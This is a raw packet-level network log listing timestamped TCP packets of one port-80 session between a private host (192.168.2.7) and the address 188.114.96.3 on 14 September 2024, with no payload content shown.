Sep 14, 2024 18:44:26.822630882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.822664022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.823364019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.823379040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.823412895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.823424101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.823452950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.823461056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.823477030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.823492050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.823508024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.823518038 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.823609114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.824259043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.824274063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.824287891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.824305058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.824320078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.824331045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.824421883 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.824882984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.824907064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.824922085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.824943066 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.825030088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.825308084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.825323105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.825336933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.825360060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.825373888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.825387955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.825387955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.825403929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.825417042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.825433969 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.826587915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.826602936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.826617956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.826634884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.826651096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.826654911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.826666117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.826677084 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.826683044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.826699018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.826700926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.826726913 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.827327967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.827343941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.827390909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.827466965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.827482939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.827497959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.827512026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.827514887 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.827528954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.827533007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.827580929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.827609062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.828227043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.828243017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.828288078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.828290939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.828308105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.828321934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.828337908 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.828337908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.828366041 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.828419924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.828525066 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.829185963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.829201937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.829216957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.829318047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.829494953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.829546928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.829560995 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.829561949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.829606056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.830135107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.830151081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.830269098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.830276012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.830291986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.830307007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.830322027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.830329895 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.830339909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.830355883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.830363989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.830394983 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.831115007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831130981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831146002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831160069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831181049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831195116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831212044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831226110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831254005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831269979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831285000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831291914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.831301928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831320047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831320047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.831336975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831350088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.831387997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.831572056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831620932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831634998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831671000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.831779957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831799030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831821918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831836939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831851959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831866980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831882954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.831885099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.831907988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.831937075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.831978083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832041979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832056999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832086086 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.832150936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832166910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832181931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832194090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.832200050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832222939 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.832422018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832437992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832453012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832468033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832483053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832484007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.832499981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832504034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.832516909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832530975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.832531929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832550049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832559109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.832586050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.832663059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832679033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832694054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832707882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832722902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832731009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.832737923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.832752943 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.832839966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.832973003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833045006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833060026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833091974 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.833098888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833115101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833129883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833144903 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.833144903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833172083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.833336115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833352089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833365917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833380938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833383083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.833398104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833399057 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.833414078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833429098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833444118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833448887 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.833460093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833466053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.833508968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.833626986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833642006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833657026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833671093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833683968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.833684921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833704948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833712101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.833807945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.833898067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833913088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833928108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.833969116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.834018946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.834033966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.834048986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.834063053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.834064007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.834090948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.834184885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.834289074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.835419893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835434914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835449934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835485935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835495949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.835501909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835517883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835531950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.835532904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835560083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.835736990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835752964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835767031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835783005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835784912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.835798025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835799932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.835813999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835829020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835844040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835845947 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.835860014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.835864067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.835910082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.836121082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836137056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836154938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836170912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836179972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.836186886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836205959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836213112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.836256027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836280107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836294889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836309910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836313009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.836328030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836333990 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.836344004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836359978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836363077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.836385965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.836586952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836604118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836625099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836646080 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.836649895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836668968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836671114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.836687088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836705923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836716890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.836724043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836741924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836749077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.836759090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836776972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836783886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.836795092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836812973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836818933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.836833000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.836857080 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.837048054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837124109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837141037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837152958 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.837182045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.837261915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837279081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837296009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837321997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837330103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.837343931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837361097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837368965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.837460995 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.837488890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837516069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837532997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837551117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837555885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.837568998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837587118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837591887 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.837605000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837620974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837629080 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.837641001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837656975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837663889 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.837676048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837692976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.837698936 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.837745905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.837934017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838143110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838159084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838175058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838188887 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.838192940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838212013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838217974 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.838229895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838247061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838258028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.838267088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838283062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838298082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.838299990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838318110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838318110 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.838335991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838352919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838362932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.838373899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838403940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.838454008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838495970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.838550091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838567972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838608027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.838639975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838658094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838675976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838692904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838700056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.838733912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.838788986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838805914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.838821888 CEST	80	54891	188.114.96.3	192.168.2.7
